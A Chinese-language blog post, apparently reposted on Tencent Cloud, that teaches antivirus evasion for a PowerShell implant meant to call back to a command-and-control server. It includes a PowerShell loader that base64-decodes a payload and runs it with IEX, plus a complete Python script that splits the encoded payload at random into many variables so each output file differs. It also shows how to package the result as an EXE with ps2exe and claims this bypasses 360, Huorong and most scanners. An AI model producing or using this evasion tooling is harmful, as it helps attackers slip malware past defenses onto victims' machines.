前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PowerShell随机免杀结合ps2exe上线

PowerShell随机免杀结合ps2exe上线

作者头像
乌鸦安全
发布2021-11-16 11:31:10
9170
发布2021-11-16 11:31:10
举报
文章被收录于专栏:乌鸦安全乌鸦安全

本文作者:culin师傅

01 前 言

昨天在freebuf上看到了一篇文章,讲的是使用ps2exe将powershell.ps1文件,编译成为可执行的EXE文件.原文链接如下:

代码语言:javascript
复制
https://www.freebuf.com/articles/system/290918.html

于是想到自己之前的使用base64对powershell进行免杀,就想讲这两个结合起来玩一下.

02Powershell.ps1免杀

首先讲下如何对powershell.ps1进行免杀:

原先生成的powershell.ps1文件中的内容如下,很容易被杀软检测到.

我们需要做的是将他们整体Base64编码,而后进行加载,免杀后的powershell.ps1格式应该如下

代码语言:javascript
复制
$payload='原先powershell.ps1中内容base64编码后的内容'
$testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload)
If ([IntPtr]::size -eq 8) {
IEX $testforwindow
}

按照这种思路,也是可以上线的,但是免杀效果不理想:

于是考虑将代码分离后再组合运行,代码逻辑如下:

代码语言:javascript
复制
$payload1='原先编码的某一部分'
$payload2='原先编码的另一部分'
$testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload1+$payload2)
If ([IntPtr]::size -eq 8) {
IEX $testforwindow
}

按照这种思路我们进行了尝试,是可以上线的。但是有时候杀软记录了特征,如果一直固定分离成两个或者三个可能会失效。

于是做出了这样一个想法,随机生成a-z,A-Z,0-9中任意一个字符,将整个编码后的base64字符串进行一个切片,然后赋值给不同的变量,最后组合上线。

按照这个思路,编写了如下的Python代码:

代码语言:javascript
复制
#encoding:utf-8
import os
import sys
import re
import base64
import getopt
import random
def ShellMake():
    PATH=input("请输入Payload路径:")
    #读取文件
    with open (PATH,"r+") as payload:
        encode=payload.read()
    Before_encode=re.findall("function (.*)",encode,re.S)
    Tmp_encode="function "+Before_encode[0]
    Temp_encode=base64.b64encode(Tmp_encode.encode('utf-8'))
    After_encode=str(Temp_encode)
    After_encode=After_encode[2:-1]
    Split_Chr=random.randint(65,122)
    while Split_Chr >= 91 and Split_Chr<=96:
        Split_Chr=random.randint(65,122)
    Split_Chr=chr(Split_Chr)
    Final_encode=After_encode.split(Split_Chr)
    Len=len(Final_encode)
    Long_str=''
    for i in range(0,Len-1):
        Final_encode[i]=Final_encode[i]+Split_Chr
        Long_str=Long_str+"$Doit"+str(i)+"+"
    #写入新的ps1,此时已经免杀
    Long_str=Long_str[0:-1]+"+$Doit"+str(Len-1)
    Destion=input("请输入输出目标:")
    with open(Destion,"a+") as payload:
        payload.writelines("Set-StrictMode -Version 2 \n")
        for i in range(0,Len):
            payload.writelines("$Doit"+str(i)+"='"+Final_encode[i]+"'\n")
        payload.writelines("$testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("+Long_str+")) \n")
        payload.writelines("If ([IntPtr]::size -eq 8) {"+'\n')
        payload.writelines("IEX $testforwindow"+'\n')
        payload.writelines("}")
ShellMake()

运行方式如下:

成功生成testfor.ps1文件,生成的文件结果每次都是随机.有时候生成的变量可能达到上百个。

经过Virustotal检测,已经过了很多杀软了:

03py2exe生成exe

ps2exe项目地址如下

代码语言:javascript
复制
https://github.com/MScholtes/PS2EXE.git

存在图形化操作界面,我们直接使用即可,成功生成Flash.exe文件

最终成功生成一个EXE文件,经测试绕过了360,火绒等绝大多数杀软,并且可以正常加载。

本文作者culin师傅,感谢culin的技术分享。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-11-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档